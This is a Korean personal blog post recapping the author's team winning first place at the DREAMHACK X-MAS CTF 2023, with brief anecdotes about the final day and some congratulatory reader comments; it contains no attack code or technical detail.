      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


DREAMHACK X-MAS CTF 2023 후기

_ks 2023. 12. 27. 15:51
2023. 12. 27. 15:51

1. 발단





..대략 이렇게 같이 뛰게 되었다.
싱싱미역 상태라 휘둘렸던것 같다.
 

2. 전개





대략 크리스마스에 있었던 일:
1. pikachu_volleyball 역산 생각 못하고 6시간 날리기
2. 대회 종료 6시간 전에 Sechack이 movptr 영입
3. 대회 종료 30분 전 잘 알지도 못하는 web3 문제 해결
4. 대회 종료 7분 전 팀원들의 버저비터로 1위 마감
 
마지막 날이 워낙 강렬해서 앞이 기억이 나질 않는다.
 

3. 결과





 
대회 내내 2,3위를 오갔고 1등을 기대하진 않았는데,
극적이기도 했고 1등은 사실상(?) 처음이라 꽤 좋았다.
그리고 Sechack이 신난게 좀 꼴받았다.
 
별개로 KAPO CTF만큼은 아니지만 이번에도 crypto 문제가 꽤 어려웠어서, 아직 많이 부족하다는걸 느꼈다.
 
CTF에 미쳐살던 한해였는데, 출제자분들과 팀원들에게 꽤 기억에 남을 크리스마스 선물을 받지 않았나 싶다.



좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > 후기' 카테고리의 다른 글

ACSC 2024 Quals 후기  (0) 2024.03.31 2024 Feb Space WAR (Crypto) 후기  (3)
2024.02.25 N1CTF 2023 후기(뒷북)  (0) 2023.12.31

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록
PREV 이전 1 NEXT 다음

+ RECENT POSTS

 * ACSC 2024 Quals writeup
 * ACSC 2024 Quals 후기
 * KalmarCTF 2024 writeup
 * 2024 Feb Space WAR (Crypto) 후기
   


Powered by Tistory, Designed by wallel
Rss Feed and Twitter, Facebook, Youtube, Google+



티스토리툴바






닫기


단축키


내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W


블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C


모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.